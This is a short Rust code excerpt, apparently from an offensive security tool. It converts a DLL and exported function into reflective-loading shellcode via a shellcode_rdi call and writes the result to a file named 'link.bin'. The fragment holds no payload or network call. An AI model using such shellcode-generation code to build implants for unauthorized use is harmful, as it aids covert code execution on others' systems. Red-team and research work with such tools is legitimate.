509 | let shellcode = shellcode_rdi(dll_path, function_name, String::from(""));
510 | // write shellcode to file
511 | let mut shellcode_file =
512 | fs::File::create("link.bin").expect("Error opening file to write shellcode");
513 | shellcode_file
514 | .write_all(&shellcode)
515 | .expect("Could not write contents to shellcode file");
516 | }
517 |
--------------------------------------------------------------------------------